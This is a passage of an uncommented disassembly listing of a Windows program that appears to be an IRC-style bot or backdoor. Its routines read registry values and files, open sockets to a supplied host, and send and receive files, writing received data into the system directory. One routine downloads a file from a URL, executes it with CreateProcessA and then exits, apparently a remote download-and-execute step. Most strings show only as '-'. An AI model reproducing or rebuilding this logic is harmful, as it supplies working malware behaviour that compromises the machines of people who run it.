[ebp+Size] push 42Dh push edi call dword_4CB6B0 ; SendMessageA loc_4159F9: ; CODE XREF: sub_4157F1+1F4j push [ebp+Src] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push edi call dword_4CB5F4 ; IsWindow test eax, eax jz short loc_415A22 push ebx push ebx push 40Bh push edi call dword_4CB6B0 ; SendMessageA loc_415A22: ; CODE XREF: sub_4157F1+63j ; sub_4157F1+D0j ... push edi call dword_4CB704 ; DestroyWindow mov eax, ebx loc_415A2B: ; CODE XREF: sub_4157F1+39j pop edi pop esi pop ebx leave retn sub_4157F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A30 proc near ; CODE XREF: sub_401ACD+25F2p Filename = byte ptr -3F4h var_2F0 = dword ptr -2F0h var_F0 = byte ptr -0F0h Str = byte ptr -70h var_C = dword ptr -0Ch File = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_4368EC, ebx mov [ebp+var_C], 80h jz loc_415BD1 push esi push edi mov eax, offset off_4368EC mov esi, offset dword_4368F8 mov edi, offset asc_437AF0 ; "-" loc_415A60: ; CODE XREF: sub_415A30+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_4CB6C4 ; RegOpenKeyExA lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_4CB554 ; RegQueryValueExA test eax, eax jnz loc_415BB7 mov eax, [esi] cmp eax, ebx jz loc_415B7B push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+Filename] push offset Format ; "%s\\%s" push eax ; Dest call _sprintf lea eax, [ebp+Filename] push offset aR ; "r" push eax ; Filename call _fopen add esp, 18h cmp eax, ebx mov [ebp+File], eax jz loc_415BB7 push eax ; File loc_415AD9: ; CODE XREF: sub_415A30+D4j lea eax, [ebp+Str] push 64h ; MaxCount push eax ; Buf call _fgets add esp, 0Ch test eax, eax jz loc_415B70 push dword ptr [esi+4] ; SubStr lea eax, [ebp+Str] push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_415B06 push [ebp+File] jmp short loc_415AD9 ; --------------------------------------------------------------------------- loc_415B06: ; CODE XREF: sub_415A30+CFj push 3Dh ; Val push dword ptr [esi+4] ; Str call _strchr pop ecx test eax, eax pop ecx jz short loc_415B34 lea eax, [ebp+Str] push offset asc_437AEC ; "=" push eax ; Str call _strtok push offset asc_437AEC ; "=" push ebx ; Str call _strtok add esp, 10h jmp short loc_415B37 ; --------------------------------------------------------------------------- loc_415B34: ; CODE XREF: sub_415A30+E4j lea eax, [ebp+Str] loc_415B37: ; CODE XREF: sub_415A30+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi ; Format push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+var_2F0] push ebx ; int push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409A73 lea eax, [ebp+var_2F0] push eax call sub_4151AD add esp, 18h loc_415B70: ; CODE XREF: sub_415A30+B9j push [ebp+File] ; File call _fclose pop ecx jmp short loc_415BB7 ; --------------------------------------------------------------------------- loc_415B7B: ; CODE XREF: sub_415A30+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+var_2F0] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409A73 lea eax, [ebp+var_2F0] push eax call sub_4151AD add esp, 28h loc_415BB7: ; CODE XREF: sub_415A30+60j ; sub_415A30+A2j ... push [ebp+var_4] call dword_4CB630 ; RegCloseKey add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_415A60 pop edi pop esi loc_415BD1: ; CODE XREF: sub_415A30+19j pop ebx leave retn sub_415A30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BD4 proc near ; CODE XREF: sub_415C5A+33p ; sub_4161BD+BCp Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CB6D4 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415C50 push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_4] call dword_4CB654 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CB694 ; inet_addr cmp eax, esi jnz short loc_415C35 push [ebp+arg_0] call dword_4CB6D8 ; gethostbyname test eax, eax jz short loc_415C50 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415C35: ; CODE XREF: sub_415BD4+4Bj mov [ebp+var_C], eax lea eax, [ebp+Dst] push 10h push eax push edi call dword_4CB5FC ; connect cmp eax, esi jnz short loc_415C54 push edi call dword_4CB6EC ; closesocket loc_415C50: ; CODE XREF: sub_415BD4+1Bj ; sub_415BD4+58j mov eax, esi jmp short loc_415C56 ; --------------------------------------------------------------------------- loc_415C54: ; CODE XREF: sub_415BD4+73j mov eax, edi loc_415C56: ; CODE XREF: sub_415BD4+7Ej pop edi pop esi leave retn sub_415BD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C5A proc near ; DATA XREF: sub_401ACD+A1Eo Dst = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh Str = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push 1 pop esi push [ebp+var_14] mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_415BD4 mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_415CED lea eax, [ebp+Dst] push offset asc_437B6C ; "-" push eax ; Dest call _sprintf xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_415CD0 push edi ; int lea eax, [ebp+Dst] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push ebx ; int call sub_409A73 add esp, 14h loc_415CD0: ; CODE XREF: sub_415C5A+59j lea eax, [ebp+Dst] push eax call sub_4151AD push [ebp+var_10] call sub_40B413 pop ecx pop ecx push esi call ds:dword_4270CC ; ExitThread loc_415CED: ; CODE XREF: sub_415C5A+3Fj push offset byte_43D808 push ebx call sub_419C65 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_415D58 lea eax, [ebp+Dst] push offset asc_437B3C ; "-" push eax ; Dest call _sprintf xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_415D34 push edi ; int lea eax, [ebp+Dst] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push ebx ; int call sub_409A73 add esp, 14h loc_415D34: ; CODE XREF: sub_415C5A+BDj lea eax, [ebp+Dst] push eax call sub_4151AD pop ecx push ebx call dword_4CB6EC ; closesocket push [ebp+var_10] call sub_40B413 pop ecx push esi call ds:dword_4270CC ; ExitThread loc_415D58: ; CODE XREF: sub_415C5A+A3j push 64h call ds:dword_427078 ; Sleep xor edi, edi mov esi, 1000h loc_415D67: ; CODE XREF: sub_415C5A+168j push esi ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push edi push esi push eax push ebx call dword_4CB66C ; recv test eax, eax jle short loc_415DC4 lea eax, [ebp+Dst] push offset asc_42A0A0 ; "\n" push eax ; Dest call _strcat lea eax, [ebp+Dst] push eax ; Str call sub_419A51 add esp, 0Ch test eax, eax jz short loc_415DC4 push 64h call ds:dword_427078 ; Sleep push 0Ah call sub_40B33F test eax, eax pop ecx jnz short loc_415D67 loc_415DC4: ; CODE XREF: sub_415C5A+130j ; sub_415C5A+154j lea eax, [ebp+Dst] push offset asc_437B08 ; "-" push eax ; Dest call _sprintf cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_415DF7 push edi ; int lea eax, [ebp+Dst] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push ebx ; int call sub_409A73 add esp, 14h loc_415DF7: ; CODE XREF: sub_415C5A+180j lea eax, [ebp+Dst] push eax call sub_4151AD pop ecx push ebx call dword_4CB6EC ; closesocket push [ebp+var_10] call sub_40B413 pop ecx push edi call ds:dword_4270CC ; ExitThread sub_415C5A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E1B proc near ; DATA XREF: sub_401ACD+7832o var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh Dest = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h Str = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h Dst = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd push 1 xor esi, esi pop ebx mov [ebp+var_10], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_C], esi mov [ebp+var_20], esi call dword_4CB6D4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_415E69 push offset unk_437C6C jmp loc_416022 ; --------------------------------------------------------------------------- loc_415E69: ; CODE XREF: sub_415E1B+42j push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push esi call dword_4CB654 ; htons mov word ptr [ebp+var_2E], ax lea eax, [ebp+Dst] push 10h push eax push edi mov [ebp+var_2E+2], esi call dword_4CB680 ; bind test eax, eax jz short loc_415EA7 push offset unk_437C48 jmp loc_416022 ; --------------------------------------------------------------------------- loc_415EA7: ; CODE XREF: sub_415E1B+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+Dst] push eax push edi call dword_4CB5F8 ; getsockname push [ebp+var_2E] call dword_4CB584 ; htons mov [ebp+var_4], eax lea eax, [ebp+Str] push eax ; Str mov [ebp+arg_0], esi call _strlen pop ecx loc_415ED9: ; CODE XREF: sub_415E1B+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+Str] cmp al, 20h jnz short loc_415EEC push 5Fh pop eax jmp short loc_415EEF ; --------------------------------------------------------------------------- loc_415EEC: ; CODE XREF: sub_415E1B+CAj movsx eax, al loc_415EEF: ; CODE XREF: sub_415E1B+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+Str] inc ecx push eax ; Str mov [ebp+arg_0], ecx call _strlen cmp [ebp+arg_0], eax pop ecx jbe short loc_415ED9 push ebx push edi call dword_4CB67C ; listen test eax, eax jz short loc_415F22 push offset asc_437B6C ; "-" jmp loc_416022 ; --------------------------------------------------------------------------- loc_415F22: ; CODE XREF: sub_415E1B+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+Str] push 80000000h push eax call ds:dword_4270EC ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_415F4C push offset unk_437C28 jmp loc_416022 ; --------------------------------------------------------------------------- loc_415F4C: ; CODE XREF: sub_415E1B+125j push esi push eax call ds:dword_427108 ; GetFileSize mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_40AC10 pop ecx push eax call dword_4CB694 ; inet_addr push eax call dword_4CB650 ; htonl push eax lea eax, [ebp+Str] push eax lea eax, [ebp+Dest] push offset dword_437C10 ; Format push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push esi ; int push eax ; int lea eax, [ebp+var_DC] push eax ; Str push [ebp+var_1FC] ; int call sub_409A73 add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call dword_4CB63C ; select test eax, eax jg short loc_415FFC push esi ; int lea eax, [ebp+var_DC] push [ebp+var_54] ; int push offset dword_437BF8 ; int push eax ; Str push [ebp+var_1FC] ; int call sub_409A73 jmp loc_416120 ; --------------------------------------------------------------------------- loc_415FFC: ; CODE XREF: sub_415E1B+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call dword_4CB6E8 ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_416035 push offset asc_437BD4 ; "-" loc_416022: ; CODE XREF: sub_415E1B+49j ; sub_415E1B+87j ... lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_416123 ; --------------------------------------------------------------------------- loc_416035: ; CODE XREF: sub_415E1B+200j push edi call dword_4CB6EC ; closesocket cmp [ebp+arg_0], esi jz loc_4160E7 mov edi, 400h loc_41604A: ; CODE XREF: sub_415E1B+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_416057 mov [ebp+var_4], eax loc_416057: ; CODE XREF: sub_415E1B+237j push edi ; Size lea eax, [ebp+var_A04] push esi ; Val push eax ; Dst call _memset mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call ds:dword_42711C ; SetFilePointer lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] call ds:dword_4270E8 ; ReadFile push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call dword_4CB6A4 ; send mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call dword_4CB66C ; recv cmp eax, ebx jl loc_41617C mov eax, [ebp+var_4] cmp eax, ebx jl loc_41617C sub [ebp+arg_0], eax jnz loc_41604A mov edi, [ebp+var_18] loc_4160E7: ; CODE XREF: sub_415E1B+224j push [ebp+var_8] call ds:dword_427068 ; CloseHandle push [ebp+var_C] push [ebp+var_10] call sub_416923 pop ecx pop ecx push eax push [ebp+var_44] call dword_4CB6E0 ; inet_ntoa push eax lea eax, [ebp+Str] push eax lea eax, [ebp+Dest] push offset asc_437BA8 ; "-" push eax ; Dest call _sprintf loc_416120: ; CODE XREF: sub_415E1B+1DCj add esp, 14h loc_416123: ; CODE XREF: sub_415E1B+215j cmp [ebp+var_50], esi jnz short loc_416148 push esi ; int lea eax, [ebp+Dest] push [ebp+var_54] ; int push eax ; int lea eax, [ebp+var_DC] push eax ; Str push [ebp+var_1FC] ; int call sub_409A73 add esp, 14h loc_416148: ; CODE XREF: sub_415E1B+30Bj lea eax, [ebp+Dest] push eax call sub_4151AD cmp edi, esi pop ecx jbe short loc_416160 push edi call dword_4CB6EC ; closesocket loc_416160: ; CODE XREF: sub_415E1B+33Cj push [ebp+var_1F8] call dword_4CB6EC ; closesocket push [ebp+var_58] call sub_40B413 pop ecx push esi call ds:dword_4270CC ; ExitThread loc_41617C: ; CODE XREF: sub_415E1B+2AFj ; sub_415E1B+2BAj push esi ; int mov esi, offset asc_437B90 ; "-" push [ebp+var_54] ; int lea eax, [ebp+var_DC] push esi ; int push eax ; Str push [ebp+var_1FC] ; int call sub_409A73 push esi call sub_4151AD add esp, 18h push [ebp+var_1F8] call dword_4CB6EC ; closesocket push [ebp+var_58] call sub_40B413 pop ecx push ebx call ds:dword_4270CC ; ExitThread sub_415E1B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4161BD proc near ; DATA XREF: sub_401ACD+7B4o Dst = byte ptr -14C4h var_4C4 = dword ptr -4C4h Filename = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h Str = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 File = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd push 1 xor ebx, ebx pop esi mov [ebp+var_8], ebx mov [eax+1B0h], esi lea eax, [ebp+Filename] push 104h push eax call ds:dword_427074 ; GetSystemDirectoryA lea eax, [ebp+var_1A4] push eax lea eax, [ebp+Filename] push eax lea eax, [ebp+Filename] push offset aSS ; "%s%s" push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+Filename] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call ds:dword_4270EC ; CreateFileA cmp eax, 0FFFFFFFFh jnz short loc_416247 push offset unk_437D0C jmp short loc_41628D ; --------------------------------------------------------------------------- loc_416247: ; CODE XREF: sub_4161BD+81j push eax call ds:dword_427068 ; CloseHandle lea eax, [ebp+Filename] push offset aAB ; "a+b" push eax ; Filename call _fopen pop ecx cmp eax, ebx pop ecx mov [ebp+File], eax jnz short loc_41626F push offset unk_437CDC jmp short loc_41628D ; --------------------------------------------------------------------------- loc_41626F: ; CODE XREF: sub_4161BD+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_415BD4 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_4162A0 push offset asc_437CBC ; "-" loc_41628D: ; CODE XREF: sub_4161BD+88j ; sub_4161BD+B0j lea eax, [ebp+var_4C4] push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_41639C ; --------------------------------------------------------------------------- loc_4162A0: ; CODE XREF: sub_4161BD+C9j mov esi, 1000h loc_4162A5: ; CODE XREF: sub_4161BD+14Ej push esi ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push ebx push esi push eax push [ebp+arg_0] call dword_4CB66C ; recv mov edi, eax cmp edi, ebx jz loc_41636C cmp edi, 0FFFFFFFFh jz short loc_41630D push [ebp+File] ; File lea eax, [ebp+Dst] push edi ; Count push 1 ; Size push eax ; Str call _fwrite add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call dword_4CB650 ; htonl mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call dword_4CB6A4 ; send jmp short loc_4162A5 ; --------------------------------------------------------------------------- loc_41630D: ; CODE XREF: sub_4161BD+118j lea eax, [ebp+var_4C4] push offset asc_437B90 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+var_4C4] push [ebp+var_18] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1C0] ; int call sub_409A73 lea eax, [ebp+var_4C4] push eax call sub_4151AD push [ebp+File] ; File call _fclose add esp, 24h push [ebp+arg_0] call dword_4CB6EC ; closesocket push [ebp+var_1C] call sub_40B413 pop ecx push 1 call ds:dword_4270CC ; ExitThread loc_41636C: ; CODE XREF: sub_4161BD+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_416923 pop ecx pop ecx push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_4C4] push offset asc_437C90 ; "-" push eax ; Dest call _sprintf add esp, 14h loc_41639C: ; CODE XREF: sub_4161BD+DEj cmp [ebp+var_14], ebx jnz short loc_4163C1 push ebx ; int lea eax, [ebp+var_4C4] push [ebp+var_18] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1C0] ; int call sub_409A73 add esp, 14h loc_4163C1: ; CODE XREF: sub_4161BD+1E2j lea eax, [ebp+var_4C4] push eax call sub_4151AD cmp [ebp+File], ebx pop ecx jz short loc_4163DC push [ebp+File] ; File call _fclose pop ecx loc_4163DC: ; CODE XREF: sub_4161BD+214j cmp [ebp+arg_0], ebx jbe short loc_4163EA push [ebp+arg_0] call dword_4CB6EC ; closesocket loc_4163EA: ; CODE XREF: sub_4161BD+222j push [ebp+var_1C] call sub_40B413 pop ecx push ebx call ds:dword_4270CC ; ExitThread sub_4161BD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4163FA proc near ; DATA XREF: sub_401ACD+627Ao ; sub_401ACD+6ABAo var_590 = qword ptr -590h var_584 = qword ptr -584h Dst = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh Str = byte ptr -2C8h var_248 = byte ptr -248h Filename = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_4CB604 call dword_4CB558 ; InternetOpenUrlA cmp eax, esi mov [ebp+var_18], eax jz loc_416886 push esi push esi push 2 push esi push esi lea eax, [ebp+Filename] push 40000000h push eax call ds:dword_4270EC ; CreateFileA cmp eax, edi mov [ebp+var_20], eax jnb short loc_4164C1 lea eax, [ebp+Filename] push eax lea eax, [ebp+Dst] push offset asc_437ED8 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_4164A4 push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409A73 add esp, 14h loc_4164A4: ; CODE XREF: sub_4163FA+88j lea eax, [ebp+Dst] push eax call sub_4151AD push [ebp+var_48] call sub_40B413 pop ecx pop ecx push esi call ds:dword_4270CC ; ExitThread loc_4164C1: ; CODE XREF: sub_4163FA+68j xor edi, edi call ds:dword_4270A8 ; GetTickCount mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx ; Size call _malloc pop ecx mov [ebp+var_1C], eax loc_4164DB: ; CODE XREF: sub_4163FA+1B4j push 200h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+Dst] push 200h push eax push [ebp+var_18] call dword_4CB560 ; InternetReadFile cmp [ebp+var_34], esi jz short loc_41651F push [ebp+arg_0] lea eax, [ebp+Dst] push eax call sub_4168EC pop ecx pop ecx loc_41651F: ; CODE XREF: sub_4163FA+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+Dst] push [ebp+arg_0] push eax push [ebp+var_20] call ds:dword_4270E0 ; WriteFile cmp edi, ebx jnb short loc_41655D mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_416547 mov eax, [ebp+arg_0] loc_416547: ; CODE XREF: sub_4163FA+148j push eax ; Size lea eax, [ebp+Dst] push eax ; Src mov eax, [ebp+var_1C] add eax, edi push eax ; Dst call _memcpy add esp, 0Ch loc_41655D: ; CODE XREF: sub_4163FA+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_41656A cmp edi, [ebp+var_3C] ja short loc_4165B4 loc_41656A: ; CODE XREF: sub_4163FA+169j cmp [ebp+var_44], 1 mov eax, edi jz short loc_416584 shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_437EB0 jmp short loc_416594 ; --------------------------------------------------------------------------- loc_416584: ; CODE XREF: sub_4163FA+176j shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset asc_437E88 ; "-" loc_416594: ; CODE XREF: sub_4163FA+188j mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_43E390 push eax ; Dest call _sprintf add esp, 10h cmp [ebp+arg_0], esi ja loc_4164DB loc_4165B4: ; CODE XREF: sub_4163FA+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_416609 cmp edi, [ebp+var_3C] jz short loc_416609 push [ebp+var_3C] lea eax, [ebp+Dst] mov [ebp+var_14], esi push edi push offset asc_437E5C ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409A73 lea eax, [ebp+Dst] push eax call sub_4151AD add esp, 28h loc_416609: ; CODE XREF: sub_4163FA+1C4j ; sub_4163FA+1C9j call ds:dword_4270A8 ; GetTickCount sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call ds:dword_427068 ; CloseHandle push [ebp+var_1C] call sub_41B0B1 cmp [ebp+var_38], esi pop ecx jz short loc_416693 lea eax, [ebp+Filename] push eax ; Filename call sub_4010AB cmp eax, [ebp+var_38] pop ecx jz short loc_416693 push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+Dst] push offset asc_437E34 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409A73 lea eax, [ebp+Dst] push eax call sub_4151AD add esp, 28h loc_416693: ; CODE XREF: sub_4163FA+241j ; sub_4163FA+253j cmp [ebp+var_14], esi jz loc_4168D3 cmp [ebp+var_44], 1 jz loc_41678E mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul ds:dbl_4276A8 lea eax, [ebp+Filename] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+Dst] fmul ds:dbl_4276A8 fstp [esp+590h+var_590] push offset asc_437DFC ; "-" push eax ; Dest call _sprintf add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_41670E push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409A73 add esp, 14h loc_41670E: ; CODE XREF: sub_4163FA+2F2j lea eax, [ebp+Dst] push eax call sub_4151AD cmp [ebp+var_40], 1 pop ecx jnz loc_4168D3 push 5 push esi lea eax, [ebp+Filename] push esi push eax push offset aOpen ; "open" push esi call dword_4CB5C0 cmp [ebp+var_30], esi jnz loc_4168D3 lea eax, [ebp+Filename] push eax lea eax, [ebp+Dst] push offset asc_437DE0 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409A73 lea eax, [ebp+Dst] push eax call sub_4151AD add esp, 24h jmp loc_4168D3 ; --------------------------------------------------------------------------- loc_41678E: ; CODE XREF: sub_4163FA+2A6j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul ds:dbl_4276A8 lea eax, [ebp+Filename] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+Dst] fmul ds:dbl_4276A8 fstp [esp+590h+var_590] push offset asc_437D9C ; "-" push eax ; Dest call _sprintf add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_4167F6 push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409A73 add esp, 14h loc_4167F6: ; CODE XREF: sub_4163FA+3DAj lea eax, [ebp+Dst] push eax call sub_4151AD push 10h ; Size lea eax, [ebp+var_10] push esi ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_310] pop edi push edi ; Size push esi ; Val push eax ; Dst call _memset add esp, 1Ch mov [ebp+var_310], edi lea eax, [ebp+var_10] mov [ebp+var_304], offset byte_43D808 push 1 mov [ebp+var_2E0], si pop edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+Filename] push esi push eax push esi mov [ebp+var_2E4], edi call ds:dword_42706C ; CreateProcessA cmp eax, edi jnz short loc_416878 call dword_4CB5AC ; WSACleanup call sub_41835A push esi call ds:dword_427064 ; ExitProcess 